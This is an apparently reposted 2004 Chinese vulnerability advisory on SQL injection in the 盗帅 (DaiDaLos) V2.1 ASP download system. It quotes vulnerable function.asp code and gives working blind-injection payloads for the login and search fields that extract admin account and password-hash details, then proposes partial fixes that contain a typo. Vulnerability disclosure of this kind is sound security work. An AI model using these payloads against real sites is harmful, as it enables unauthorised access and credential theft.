盗帅下载系统 V2.1 正式版(DaiDaLos)漏洞

/ns/ld/softld/data/20040827214643.htm

盗帅下载系统 V2.1 正式版(DaiDaLos)漏洞

涉及版本:
盗帅下载系统最新版本(V2.1正式版)
描述:
盗帅下载系统是一款由WWW.DAOSHUAI.COM开发和维护的源代码开放的Asp下载系统;由于其function.asp文件中多个函数没有对提交的数据过滤,而是直接放到SQL查询中,导致远程攻击者可以利用这个漏洞进行SQL注入攻击,获得任意用户的MD5加密密码,进而威胁整个下载系统或服务器的安全。

详细:
盗帅下载系统
V2.1整合了SQL注入补丁和2.0
SP1,消除了大批SQL注入隐患。但智者千虑,必有一失。废话少说,看function.asp文件代码,程序中大多数文件所使用的函数都在这了。
1、
reg()函数中出现问题的代码(类似这样的函数有reg(),show_now()等):
876 case
"log"
877 if
request.QueryString("save")="ok"
then
878
numAdminip=request.servervariables("remote_addr")
879
strUser=request.form("username")
880
strPas=request.form("password")
881
numCookies=request.form("cookies")
882
numRCopyid=request.form("copyid")
883
dateTime=now()
884 if
strUser=""
then
885 strERR="使用匿名进行登陆"
886
else
887 Set rs =
Server.CreateObject("ADODB.Recordset")
888 sql="select
admin.admin,admin.pws,admin.qx from admin where
admin='"&strUser&"'"
889 rs.open
sql,conn,1,1
890 if rs.eof
then
891
strERR="使用未注册的用户账号: "&strUser&"
登陆本系统"
else
… …
很明显,没有对strUser进行任何过滤。虽然程序中尽量减少了返回错误的信息,只返回同一种错误,但同样可以引起SQL注入。在使用show_now()注入时,返回的判断不是特别明显,可以自己研究一下。(在lost中同样存在此问题)
2、同样在function.asp中,list_soft()函数中也存在问题。这个函数功能是软件显示(搜索),还是先看代码吧:
212 strTch=request("TTYPE")
213 strSearch=request("KEY")

223 sql3="select
* from download"
224 if
strType<>""
then
225 sql3=sql3&"
where boolZhen=False and
numSortcount="&strType
226 else
227
if strSearch<>""
then
228 if
strTch="BYNAME"
then
229
sql3=sql3&" where boolZhen=False and name like
'%"&strSearch&"%'"
230 else
231
sql3=sql3&" where boolZhen=False and strShow like
'%"&strSearch&"%'"
232 end
if
233
else
234 sql3=sql3&"
where boolZhen=False"
235 end
if
236 end
if
237 if
strRang<>""
then
238 sql3=sql3&"
order by "&strRang&"
desc"
239 else
240
sql3=sql3&" order by dateRtime
desc"
241 end
if
想必你已经看出来了吧!我再多说点废话解释一下吧(哎呦……谁用可乐罐砸我?!%#)!我们主要看strSearch的作用(这个是查询的关键字,看到了吧!没做过滤!)下面来做个假设(前提:strTch="BYNAME"):
strSearch的值为:狼族软件
那么得到的sql3为:
select
* from download where boolzhen=false and name like '%狼族软件%' order by
datertime
desc
这个是正常的,再看另一个:
strSearch的值为:狼族软件'
and 0<>(select count(*) from admin) and strshow like
'
那么得到的sql3为:select * from download where
boolzhen=false and name like '%狼族软件' and 0<>(select count(*) from admin)
and strshow like '%' order by datertime
desc
怎么样!呵呵,strshow like
‘%’恒为真,如果有个软件名以“狼族软件”为结尾的话,那么name like
‘%狼族软件’
也为真,最后是否显示就要看中间那个子查询是否为真了。这样判断查询是否正确就容易多了。好了,不再废话了。

攻击方法:
对于第一种情况,我们以reg函数中log情况为例:首先注册一个用户,我注册的是用户名panderlang,密码panderlang。然后转到登陆页面,在用户名里填写:
panderlang'
and 1=(select count(*) from admin) and
'1'='1
在密码框填写自己的密码、验证码,提交。
如果返回“登陆成功”的话,那么提交的查询正确;否则,查询错误。
我们可以尝试提交如下查询:
panderlang’
and 1=(select count(*) from admin where id=1) and
‘1’=’1
panderlang’ and 1=(select count(*) from
admin where id=1 and len(admin)=5) and
‘1’=’1
panderlang’ and 1=(select count(*) from
admin where id=1 and len(pwd)=32) and
‘1’=’1
………
对于第二中情况,我们可以找个软件的名称,比如说“狼族攻击器”,那么我们在index.asp或者list.asp中的查询框中选“按内容”搜索,在关键字中填写如下形式:
狼族攻击器'
and 0<>(select count(*) from admin) and strshow like
'
然后不断更改中间的查询来猜测,剩下的就不用再说了。

本来想拿到MD5加密的密码后用cookies欺骗进去,结果这个下载系统中cookies的密码是登陆时所填的,而不是MD5加密过的。喜欢暴力破解的朋友可以试试。
防范方法:
对于reg()函数
818行:
sql="select
count(id) as numAdmin from admin where
admin='"&Reg_set(0)&"'"
rs=conn.execute(sql)
if
rs("numAdmin")>="1"
then

response.write("<tr>"&_

"<td width='100%'
align='center'><li>输入的用户名已被人使用,请更换
<a
href=javascript:history.back(-1)>点击返回→</a></td>"&_

"</tr>")
else

sql="insert into
admin(admin,pws,regemail,useravatar,picwidth,picheight,moneyert,strQuest,strPrint,qx)
values('"&Reg_set(0)&"','"&md5(Reg_set(1))&"','"&Reg_set(5)&"','images/pic/noavatar.gif',100,75,"&numMoneys_1&",'"&Reg_set(3)&"','"&md5(Reg_set(4))&"',5)"
对Reg_set(0)进行过滤:
RegUser=left(replace(repalce(Reg_set(0),"'",""),";",""),20)
'过滤掉'和;符号,只取前20位作为用户名
然后把第一个sql改为:sql="select
count(id) as numAdmin from admin where
admin='"&RegUser&"'"
第一个sql为:"insert
into
admin(admin,pws,regemail,useravatar,picwidth,picheight,moneyert,strQuest,strPrint,qx)
values('"&RegUser&"','"&md5(Reg_set(1))&"','"&Reg_set(5)&"','images/pic/noavatar.gif',100,75,"&numMoneys_1&",'"&Reg_set(3)&"','"&md5(Reg_set(4))&"',5)"


对于log()
887行:
Set
rs =
Server.CreateObject("ADODB.Recordset")
sql="select
admin.admin,admin.pws,admin.qx from admin where
admin='"&strUser&"'"
rs.open
sql,conn,1,1
if rs.eof
then

strERR="使用未注册的用户账号: "&strUser&"
登陆本系统"
在前面对strUser过滤:
strUser=left(replace(repalce(strUser,"'",""),";",""),20) '同样取前20位


对于list_soft()函数,在227行前边对strSearch过滤:
strSearch=replace(strSearch,"'","")


对show_now()
1520行:
strId=Request.QueryString("id")
If
strID="" or IsNumeric(strId)=false or strId<1
then
strId=1
'你可以把它赋一个存在的分类ID,可以用查询来实现
end
if
就到这里,废话就不多说了!




=========================
文章类型:转载 提交:地圣独行 核查:NetDemon